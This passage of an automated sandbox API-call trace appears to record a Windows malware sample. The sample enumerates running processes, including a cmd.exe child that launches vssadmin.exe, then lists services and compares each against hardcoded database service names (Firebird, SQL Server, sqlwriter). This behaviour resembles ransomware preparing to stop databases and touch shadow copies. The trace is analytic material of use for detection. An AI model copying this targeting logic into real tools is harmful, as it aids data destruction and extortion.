lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.170] lstrlenW (lpString="audiodg.exe") returned 11 [0060.170] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.170] lstrlenW (lpString="svchost.exe") returned 11 [0060.170] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.171] lstrlenW (lpString="svchost.exe") returned 11 [0060.171] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.171] lstrlenW (lpString="dwm.exe") returned 7 [0060.171] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.172] lstrlenW (lpString="explorer.exe") returned 12 [0060.172] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.172] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.172] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.173] lstrlenW (lpString="taskhost.exe") returned 12 [0060.173] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.173] lstrlenW (lpString="svchost.exe") returned 11 [0060.173] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0060.174] lstrlenW (lpString="taskeng.exe") returned 11 [0060.174] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.174] lstrlenW (lpString="taskhost.exe") returned 12 [0060.174] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0060.175] lstrlenW (lpString="br_maintaining.exe") returned 18 [0060.175] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0060.175] lstrlenW (lpString="kitsenormous.exe") returned 16 [0060.175] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0060.175] lstrlenW (lpString="intermediate-components.exe") returned 27 [0060.175] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0060.176] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0060.176] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0060.176] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0060.176] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0060.177] lstrlenW (lpString="stupid.exe") returned 10 [0060.177] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0060.177] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0060.177] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0060.178] lstrlenW (lpString="addition.exe") returned 12 [0060.178] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0060.178] lstrlenW (lpString="kept retirement.exe") returned 19 [0060.178] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0060.179] lstrlenW (lpString="lmmold.exe") returned 10 [0060.179] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0060.179] lstrlenW (lpString="soma weighted.exe") returned 17 [0060.179] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0060.180] lstrlenW (lpString="cartridge donation.exe") returned 22 [0060.180] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0060.180] lstrlenW (lpString="anti.exe") returned 8 [0060.180] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0060.181] lstrlenW (lpString="cashiersshot.exe") returned 16 [0060.181] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0060.181] lstrlenW (lpString="poundfi.exe") returned 11 [0060.181] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0060.182] lstrlenW (lpString="conditions_hired.exe") returned 20 [0060.182] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0060.487] lstrlenW (lpString="mercedes.exe") returned 12 [0060.487] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0060.488] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0060.488] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0060.488] lstrlenW (lpString="training_wiring.exe") returned 19 [0060.488] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0060.489] lstrlenW (lpString="democratic.exe") returned 14 [0060.489] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0060.489] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0060.489] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0060.490] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0060.490] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0060.492] lstrlenW (lpString="documented.exe") returned 14 [0060.492] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.492] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.492] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0060.493] lstrlenW (lpString="n.exe") returned 5 [0060.493] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.493] lstrlenW (lpString="cmd.exe") returned 7 [0060.493] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.494] lstrlenW (lpString="conhost.exe") returned 11 [0060.494] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0060.494] lstrlenW (lpString="vssadmin.exe") returned 12 [0060.494] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0060.495] lstrlenW (lpString="VSSVC.exe") returned 9 [0060.495] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.495] lstrlenW (lpString="svchost.exe") returned 11 [0060.495] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0060.496] CloseHandle (hObject=0x200) returned 1 [0060.496] Sleep (dwMilliseconds=0x1f4) [0061.245] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7b2620 [0061.246] EnumServicesStatusExW (in: hSCManager=0x7b2620, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0061.246] GetLastError () returned 0xea [0061.246] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0061.246] EnumServicesStatusExW (in: hSCManager=0x7b2620, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0061.246] CloseServiceHandle (hSCObject=0x7b2620) returned 1 [0061.247] lstrlenW (lpString="Appinfo") returned 7 [0061.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0061.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0061.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0061.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0061.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0061.247] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0061.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.247] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0061.247] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0061.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0061.247] lstrlenW (lpString="AudioSrv") returned 8 [0061.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0061.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0061.247] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0061.247] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0061.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0061.247] lstrlenW (lpString="BFE") returned 3 [0061.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0061.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0061.247] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0061.247] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0061.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0061.247] lstrlenW (lpString="CryptSvc") returned 8 [0061.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0061.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0061.247] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0061.247] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0061.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0061.247] lstrlenW (lpString="CscService") returned 10 [0061.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0061.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0061.248] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0061.248] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0061.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0061.248] lstrlenW (lpString="DcomLaunch") returned 10 [0061.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0061.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0061.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0061.248] lstrlenW (lpString="Dhcp") returned 4 [0061.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0061.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0061.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0061.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0061.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0061.248] lstrlenW (lpString="Dnscache") returned 8 [0061.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0061.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0061.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0061.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0061.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0061.248] lstrlenW (lpString="DPS") returned 3 [0061.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0061.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0061.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0061.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0061.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0061.248] lstrlenW (lpString="eventlog") returned 8 [0061.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0061.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0061.248] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0061.248] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0061.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0061.249] lstrlenW (lpString="EventSystem") returned 11 [0061.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0061.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0061.249] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0061.249] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0061.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0061.249] lstrlenW (lpString="gpsvc") returned 5 [0061.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0061.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0061.249] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0061.249] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0061.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0061.249] lstrlenW (lpString="iphlpsvc") returned 8 [0061.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.249] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0061.249] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0061.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0061.249] lstrlenW (lpString="LanmanServer") returned 12 [0061.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0061.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0061.249] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0061.249] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0061.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0061.249] lstrlenW (lpString="LanmanWorkstation") returned 17 [0061.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.249] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0061.249] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0061.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0061.249] lstrlenW (lpString="lmhosts") returned 7 [0061.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0061.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0061.249] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0061.250] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0061.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0061.250] lstrlenW (lpString="MMCSS") returned 5 [0061.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0061.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0061.250] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0061.250] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0061.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0061.250] lstrlenW (lpString="MpsSvc") returned 6 [0061.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0061.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0061.250] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0061.250] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0061.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0061.250] lstrlenW (lpString="Netman") returned 6 [0061.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0061.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0061.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0061.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0061.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0061.250] lstrlenW (lpString="netprofm") returned 8 [0061.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0061.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0061.250] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0061.250] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0061.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0061.250] lstrlenW (lpString="NlaSvc") returned 6 [0061.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0061.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0061.250] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0061.250] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 